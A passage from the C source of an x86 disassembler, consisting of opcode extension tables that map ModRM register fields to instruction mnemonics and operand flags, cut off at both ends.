FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // Extension tables INST inst_table_ext1_1[8] = { { INSTRUCTION_TYPE_ADD, "add", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OR, "or", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADC, "adc", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SBB, "sbb", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_AND, "and", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SUB, "sub", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XOR, "xor", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_CMP, "cmp", AM_E|OT_b|P_r, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext1_2[8] = { { INSTRUCTION_TYPE_ADD, "add", AM_E|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OR, "or", AM_E|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADC, "adc", AM_E|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SBB, "sbb", AM_E|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_AND, "and", AM_E|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SUB, "sub", AM_E|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XOR, "xor", AM_E|OT_v|P_w, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_CMP, "cmp", AM_E|OT_v|P_r, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext1_3[8] = { { INSTRUCTION_TYPE_ADD, "add", AM_E|OT_v|P_w, AM_I|OT_b|F_s|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OR, "or", AM_E|OT_v|P_w, AM_I|OT_b|F_s|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ADC, "adc", AM_E|OT_v|P_w, AM_I|OT_b|F_s|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SBB, "sbb", AM_E|OT_v|P_w, AM_I|OT_b|F_s|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_AND, "and", AM_E|OT_v|P_w, AM_I|OT_b|F_s|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SUB, "sub", AM_E|OT_v|P_w, AM_I|OT_b|F_s|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_XOR, "xor", AM_E|OT_v|P_w, AM_I|OT_b|F_s|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_CMP, "cmp", AM_E|OT_v|P_r, AM_I|OT_b|F_s|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext2_1[8] = { { INSTRUCTION_TYPE_ROX, "rol", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "ror", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcl", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcr", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shl", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shr", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SHX, "sar", AM_E|OT_b|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext2_2[8] = { { INSTRUCTION_TYPE_ROX, "rol", AM_E|OT_v|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "ror", AM_E|OT_v|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcl", AM_E|OT_v|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcr", AM_E|OT_v|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shl", AM_E|OT_v|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shr", AM_E|OT_v|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SHX, "sar", AM_E|OT_v|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext2_3[8] = { { INSTRUCTION_TYPE_ROX, "rol", AM_E|OT_b|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "ror", AM_E|OT_b|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcl", AM_E|OT_b|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcr", AM_E|OT_b|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shl", AM_E|OT_b|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shr", AM_E|OT_b|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SHX, "sar", AM_E|OT_b|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext2_4[8] = { { INSTRUCTION_TYPE_ROX, "rol", AM_E|OT_v|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "ror", AM_E|OT_v|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcl", AM_E|OT_v|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcr", AM_E|OT_v|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shl", AM_E|OT_v|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shr", AM_E|OT_v|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SHX, "sar", AM_E|OT_v|P_w, AM_I1|OT_b|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext2_5[8] = { { INSTRUCTION_TYPE_ROX, "rol", AM_E|OT_b|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "ror", AM_E|OT_b|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcl", AM_E|OT_b|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcr", AM_E|OT_b|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shl", AM_E|OT_b|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shr", AM_E|OT_b|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SHX, "sar", AM_E|OT_b|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext2_6[8] = { { INSTRUCTION_TYPE_ROX, "rol", AM_E|OT_v|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "ror", AM_E|OT_v|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcl", AM_E|OT_v|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_ROX, "rcr", AM_E|OT_v|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shl", AM_E|OT_v|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SHX, "shr", AM_E|OT_v|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SHX, "sar", AM_E|OT_v|P_w, AM_REG|REG_CL|OT_b|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext3_1[8] = { { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_b|P_r, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_NOT, "not", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_NEG, "neg", AM_E|OT_b|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MUL, "mul", AM_E|OT_b|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_IMUL, "imul", AM_E|OT_b|P_r, FLAGS_NONE|P_r, FLAGS_NONE|P_r,1 }, { INSTRUCTION_TYPE_DIV, "div", AM_E|OT_b|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_IDIV, "idiv", AM_E|OT_b|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext3_2[8] = { { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_v|P_r, AM_I|OT_v|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_NOT, "not", AM_E|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_NEG, "neg", AM_E|OT_v|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_MUL, "mul", AM_E|OT_v|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_IMUL, "imul", AM_E|OT_v|P_r, FLAGS_NONE|P_r, FLAGS_NONE|P_r,1 }, { INSTRUCTION_TYPE_DIV, "div", AM_E|OT_v|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_IDIV, "idiv", AM_E|OT_v|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext4[8] = { { INSTRUCTION_TYPE_INC, "inc", AM_E|OT_b|P_r, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_DEC, "dec", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; INST inst_table_ext5[8] = { { INSTRUCTION_TYPE_INC, "inc", AM_E|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_DEC, "dec", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_CALL, "call", AM_E|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_CALL, "callf", AM_E|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_JMP, "jmp", AM_E|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_JMP, "jmpf", AM_E|OT_v|P_x, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PUSH, "push", AM_E|OT_v|P_r, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; INST inst_table_ext6[8] = { { INSTRUCTION_TYPE_SLDT, "sldt", AM_E|OT_w|P_r, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "str", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "lldt", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "ltr", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "verr", AM_E|OT_w|P_r, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "verw", AM_E|OT_w|P_r, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; INST inst_table_ext7[8] = { { INSTRUCTION_TYPE_SGDT, "sgdt", AM_M|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SIDT, "sidt", AM_M|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "lgdt", AM_M|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "lidt", AM_M|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "smsw", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_PRIV, "lmsw", AM_E|OT_w|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_PRIV, "invlpg", AM_M|OT_b|P_r, FLAGS_NONE, FLAGS_NONE, 1 }, }; INST inst_monitor = { INSTRUCTION_TYPE_OTHER, "monitor", FLAGS_NONE|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 0 }; INST inst_mwait = { INSTRUCTION_TYPE_OTHER, "mwait", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }; INST inst_table_ext8[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_BT, "bt", AM_E|OT_v|P_r, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_BTS, "bts", AM_E|OT_v|P_r, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_BTR, "btr", AM_E|OT_v|P_r, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_BTC, "btc", AM_E|OT_v|P_r, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext9[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cmpxch8b", AM_M|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; INST inst_table_ext10[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // XXX: not used yet INST inst_table_ext11[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // XXX: intel manual says AM_P.. but that seems to produce wrong disasm INST inst_table_ext12[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX, "psrlw", AM_Q|OT_q|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX, "psraw", AM_Q|OT_q|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX, "psllw", AM_Q|OT_q|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // XXX: intel manual says AM_P.. but that seems to produce wrong disasm INST inst_table_ext12_66[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "psrlw", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "psraw", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "psllw", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // XXX: intel manual says AM_P.. but that seems to produce wrong disasm INST inst_table_ext13[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX, "psrld", AM_Q|OT_q|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX, "psrad", AM_Q|OT_q|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX, "pslld", AM_Q|OT_q|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // XXX: intel manual says AM_P.. but that seems to produce wrong disasm INST inst_table_ext13_66[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "psrld", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "psrad", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "pslld", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // XXX: intel manual says AM_P.. but that seems to produce wrong disasm INST inst_table_ext14[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX, "psrlq", AM_Q|OT_q|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_MMX, "psllq", AM_Q|OT_q|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // XXX: intel manual says AM_P.. but that seems to produce wrong disasm INST inst_table_ext14_66[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "psrlq", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "psrldq", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "psllq", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "pslldq", AM_W|OT_dq|P_w, AM_I|OT_b|P_r, FLAGS_NONE, 1 }, }; INST inst_table_ext15[8] = { { INSTRUCTION_TYPE_OTHER, "fxsave", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "fxrstor", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "ldmxcsr", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, "stmxcsr", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, "sfence", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 }, }; INST inst_table_ext16[8] = { { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // Table of extension tables INST * inst_table_ext[25] = { inst_table_ext1_1, inst_table_ext1_2, inst_table_ext1_3, inst_table_ext2_1, inst_table_ext2_2, inst_table_ext2_3, inst_table_ext2_4, inst_table_ext2_5, inst_table_ext2_6, inst_table_ext3_1, inst_table_ext3_2, inst_table_ext4, inst_table_ext5, 